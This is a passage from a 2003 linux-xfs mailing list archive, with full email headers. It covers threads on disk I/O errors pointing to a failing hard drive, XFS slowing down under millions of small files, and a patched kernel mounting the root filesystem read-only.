the following lines: Sep 30 22:20:51 [kernel] hda: dma_intr: status=0x51 { DriveReady SeekComplete Error } Sep 30 22:20:51 [kernel] hda: dma_intr: error=0x40 { UncorrectableError }, LBAsect=147281139, high=8, low=13063411, sector=142606224 Sep 30 22:20:51 [kernel] end_request: I/O error, dev 03:04 (hda), sector 142606224 Sep 30 22:20:51 [kernel] I/O error in filesystem ("ide0(3,4)") meta-data dev 0x304 block 0x87fff90 ("xfs_trans_read_buf") error 5 buf count 8192 And i cannot read some files, i always get input/output errors from ls or find. Is this an indicator, the the hdd will die? -- Thanks Matthias From owner-linux-xfs@oss.sgi.com Tue Sep 30 13:28:54 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 30 Sep 2003 13:29:27 -0700 (PDT) Received: from mail.modwest.com (marshall.modwest.com [216.129.251.30]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UKSrFx012244 for ; Tue, 30 Sep 2003 13:28:54 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.modwest.com (Postfix) with ESMTP id 449A540F7AA4; Tue, 30 Sep 2003 14:28:53 -0600 (MDT) Received: from mail.modwest.com ([127.0.0.1]) by localhost (marshall.modwest.com [127.0.0.1]) (amavisd-new) with ESMTP id 25932-19; Tue, 30 Sep 2003 14:28:53 -0000 (MDT) Received: from d216-220-25-60.dynip.modwest.com (d216-220-25-60.dynip.modwest.com [216.220.25.60]) by mail.modwest.com (Postfix) with ESMTP id 14AB140F4CE2; Tue, 30 Sep 2003 14:28:53 -0600 (MDT) Date: Tue, 30 Sep 2003 14:32:05 -0600 From: Michael Loftis To: Matthias Fechner , linux-xfs@oss.sgi.com Subject: Re: Is this a problem of the harddisk or is the filesystem corrupt? Message-ID: <256860750.1064932325@d216-220-25-60.dynip.modwest.com> In-Reply-To: <20030930202244.GB15637@server.idefix.loc> References: <20030930202244.GB15637@server.idefix.loc> X-Mailer: Mulberry/3.0.3 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Virus-Scanned: by amavisd-new amavisd-new-20020630 X-archive-position: 585 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mloftis@wgops.com Precedence: bulk X-list: linux-xfs Content-Length: 1049 Lines: 36 Yup HDD problem.... IBM Deskstar or IBM Ultrastar per chance? I've been having these go dead left, right, and center the last month or two. --On Tuesday, September 30, 2003 22:22 +0200 Matthias Fechner wrote: > Hi, > > i have here very unice behaviour, since one day. > I found in the log file the following lines: > Sep 30 22:20:51 [kernel] hda: dma_intr: status=0x51 { DriveReady > SeekComplete Error } Sep 30 22:20:51 [kernel] hda: dma_intr: error=0x40 { > UncorrectableError }, LBAsect=147281139, high=8, low=13063411, > sector=142606224 Sep 30 22:20:51 [kernel] end_request: I/O error, dev > 03:04 (hda), sector 142606224 Sep 30 22:20:51 [kernel] I/O error in > filesystem ("ide0(3,4)") meta-data dev 0x304 block 0x87fff90 > ("xfs_trans_read_buf") error 5 buf count 8192 > > And i cannot read some files, i always get input/output errors from ls > or find. > > Is this an indicator, the the hdd will die? > > -- > Thanks > Matthias > > -- GPG/PGP --> 0xE736BD7E 5144 6A2D 977A 6651 DFBE 1462 E351 88B9 E736 BD7E From owner-linux-xfs@oss.sgi.com Tue Sep 30 14:15:24 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 30 Sep 2003 14:15:58 -0700 (PDT) Received: from gate.vmlinuz.be (234.47-200-80.adsl.skynet.be [80.200.47.234]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8ULFNFx015322 for ; Tue, 30 Sep 2003 14:15:23 -0700 Received: from home.org (unknown [192.168.0.70]) by gate.vmlinuz.be (Postfix) with ESMTP id 7078A7010048 for ; Tue, 30 Sep 2003 22:15:06 +0200 (CEST) Subject: getting slower and sslloowweerr... From: Jan De Landtsheer To: linux-xfs@oss.sgi.com Content-Type: text/plain Message-Id: <1064956517.3529.39.camel@PoertGentoo> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Tue, 30 Sep 2003 23:15:17 +0200 Content-Transfer-Encoding: 7bit X-archive-position: 586 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: Jan.DeLandtsheer@vmlinuz.be Precedence: bulk X-list: linux-xfs Content-Length: 2690 Lines: 61 Ok, I 've been searching and testing and setting up a million times, but I still keep having the same issue... I want to have a solution where I can store ALOT of files: With Alot, I mean A LOT. Right now I have 8 1.2TB JBOD's (SCSI to IDE, and I know they are not Super HotStuff, but Hey! what can I say? budgets). Here's the catch... a probe (actually plenty of them) send me a bunch of little files. A whola lotta files, I can tell you. Somethig to hose even the most performant SCSI setup. But then again... budgets. Files are of the size of 64 or 128K, that need to be stored at a pace of 50-60 MegaBYTE/sec (Gigabit NIC's). As the probes just keep a list with files they sent to the central server, they can come back later to ask for them, and that can even be at the same pace of writing them on the network to the server. So far so good, I set up a test environment with a 1TB XFS filesystem, and start to populate the thing with 64K files. Organisation is done like ccache (ie. am md5 is calculated form this random data, and sent over as file with md5 as name) and stored almost the same wa (we keep the complete md5 name in the directory tree). How we're going to do tha is still an open issue. Right now we want to test feasibility. So I wrote a little script to generate random data, calculate the key from it and store these files onto the JBOD. dirtree : /mnt/0/0/0/000acf123457dfdfdfdf...md5 of 64or 128 K my little script generates on a 2.8GigaHZ P IV almost 100K files in 44 seconds to /dev/null, so it would be nice to get that stashed away on the filesystem... Yeahyeah, I'm dreaming. So let's not dream and try to get something clean. Creating a 1Gig file (dd if=/dev/zero of=/mnt/bigfile bs=1M count=1k) gets done in about 12 secs, after a sync, so this JBOD tells me that it can stash away rapidly. starting the little script ( random data, totally unclean buffers, cache is just there as a buffer ) gives me roughly 3-4 seconds for every 500 files of 64K, 5-6 seconds for 500 files of 128K... BUT THIS IS ONLY AT THE BEGINNING! After a while, say, 700K files, things get slower and slower. I read the XFS manual inside out, know it by heart, and my wife tells me I mumble xfs options in my sleep, but still... every 500 files get written at 10-12 files/second, and that is hard to come by. Remember, I have 8 JBODS and thus 8 TB of 64-128K files to store, retrieve or look for their existence, at a pace of 400-500 /sec. I can tell you that Reiserfs or XFS or JFS behave exactly the same way, and I cannot imagine that nntp servers send and receive and store these files at a pace of 10-12 per second. Can anybody help me out please ? Thanks, Jan From owner-linux-xfs@oss.sgi.com Tue Sep 30 16:38:25 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 30 Sep 2003 16:39:06 -0700 (PDT) Received: from mail.modwest.com (marshall.modwest.com [216.129.251.30]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8UNcEFx032755 for ; Tue, 30 Sep 2003 16:38:15 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.modwest.com (Postfix) with ESMTP id 7AB8F40F79F9; Tue, 30 Sep 2003 16:57:27 -0600 (MDT) Received: from mail.modwest.com ([127.0.0.1]) by localhost (marshall.modwest.com [127.0.0.1]) (amavisd-new) with ESMTP id 26473-15; Tue, 30 Sep 2003 16:57:27 -0000 (MDT) Received: from d216-220-25-60.dynip.modwest.com (d216-220-25-60.dynip.modwest.com [216.220.25.60]) by mail.modwest.com (Postfix) with ESMTP id 398AC40F5000; Tue, 30 Sep 2003 16:57:27 -0600 (MDT) Date: Tue, 30 Sep 2003 17:00:40 -0600 From: Michael Loftis To: Jan De Landtsheer , linux-xfs@oss.sgi.com Subject: Re: getting slower and sslloowweerr... Message-ID: <265776203.1064941240@d216-220-25-60.dynip.modwest.com> In-Reply-To: <1064956517.3529.39.camel@PoertGentoo> References: <1064956517.3529.39.camel@PoertGentoo> X-Mailer: Mulberry/3.0.3 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Virus-Scanned: by amavisd-new amavisd-new-20020630 X-archive-position: 587 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mloftis@wgops.com Precedence: bulk X-list: linux-xfs Content-Length: 3059 Lines: 74 YAh 99% of NNTP servers have a large files and treat it more like a database. --On Tuesday, September 30, 2003 23:15 +0200 Jan De Landtsheer wrote: > Ok, I 've been searching and testing and setting up a million times, but > I still keep having the same issue... > > I want to have a solution where I can store ALOT of files: > With Alot, I mean A LOT. Right now I have 8 1.2TB JBOD's (SCSI to IDE, > and I know they are not Super HotStuff, but Hey! what can I say? > budgets). > > Here's the catch... a probe (actually plenty of them) send me a bunch of > little files. A whola lotta files, I can tell you. Somethig to hose even > the most performant SCSI setup. But then again... budgets. > Files are of the size of 64 or 128K, that need to be stored at a pace of > 50-60 MegaBYTE/sec (Gigabit NIC's). As the probes just keep a list with > files they sent to the central server, they can come back later to ask > for them, and that can even be at the same pace of writing them on the > network to the server. > > So far so good, I set up a test environment with a 1TB XFS filesystem, > and start to populate the thing with 64K files. Organisation is done > like ccache (ie. am md5 is calculated form this random data, and sent > over as file with md5 as name) and stored almost the same wa (we keep > the complete md5 name in the directory tree). How we're going to do tha > is still an open issue. Right now we want to test feasibility. > > So I wrote a little script to generate random data, calculate the key > from it and store these files onto the JBOD. > > dirtree : > /mnt/0/0/0/000acf123457dfdfdfdf...md5 of 64or 128 K > > my little script generates on a 2.8GigaHZ P IV almost 100K files in 44 > seconds to /dev/null, so it would be nice to get that stashed away on > the filesystem... Yeahyeah, I'm dreaming. > > So let's not dream and try to get something clean. > Creating a 1Gig file (dd if=/dev/zero of=/mnt/bigfile bs=1M count=1k) > gets done in about 12 secs, after a sync, so this JBOD tells me that it > can stash away rapidly. > > starting the little script ( random data, totally unclean buffers, cache > is just there as a buffer ) gives me roughly 3-4 seconds for every 500 > files of 64K, 5-6 seconds for 500 files of 128K... > > BUT THIS IS ONLY AT THE BEGINNING! > > After a while, say, 700K files, things get slower and slower. I read the > XFS manual inside out, know it by heart, and my wife tells me I mumble > xfs options in my sleep, but still... every 500 files get written at > 10-12 files/second, and that is hard to come by. Remember, I have 8 > JBODS and thus 8 TB of 64-128K files to store, retrieve or look for > their existence, at a pace of 400-500 /sec. > > I can tell you that Reiserfs or XFS or JFS behave exactly the same way, > and I cannot imagine that nntp servers send and receive and store these > files at a pace of 10-12 per second. > > Can anybody help me out please ? > Thanks, > > Jan > > -- GPG/PGP --> 0xE736BD7E 5144 6A2D 977A 6651 DFBE 1462 E351 88B9 E736 BD7E From owner-linux-xfs@oss.sgi.com Tue Sep 30 23:32:33 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 30 Sep 2003 23:33:15 -0700 (PDT) Received: from hot.ee (mail.hot.ee [194.126.101.94]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h916WVFx026009 for ; Tue, 30 Sep 2003 23:32:32 -0700 Received: from localhost (relay5 [127.0.0.1]) by hot.ee (Postfix) with ESMTP id CF1DCFA9F8 for ; Wed, 1 Oct 2003 09:32:29 +0300 (EEST) Received: from hot.ee ([127.0.0.1]) by localhost (relay5 [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 07162-04 for ; Wed, 1 Oct 2003 09:32:29 +0300 (EEST) Received: from seasonf (adsl3179.estpak.ee [213.168.25.180]) by hot.ee (Postfix) with SMTP id A2EE0F97F0 for ; Wed, 1 Oct 2003 09:32:27 +0300 (EEST) X-AntiVirus: Checked by Dr.Web (http://www.drweb.net) Message-ID: <000801c387e5$d46a4260$fe01a8c0@seasonf> From: "Dmitri" To: Subject: xfs root fs mounts read-only Date: Wed, 1 Oct 2003 09:32:46 +0300 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Virus-Scanned: by mail.hot.ee Content-Disposition: inline Content-Type: text/plain Content-Transfer-Encoding: 7bit X-archive-position: 588 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: korotkov@festart.ee Precedence: bulk X-list: linux-xfs Content-Length: 333 Lines: 15 Hello. I have problems with new 2.4.22 xfs patched kernel. it was successfully compiled, but when system boots up, root xfs-filesystem mounts read-only. i have tried to use lilo and grub boot loaders. my old xfs kernel, 2.4.19 works perfectly. What is wrong ? -- Best regards Dmitri Korotkov [[HTML alternate version deleted]]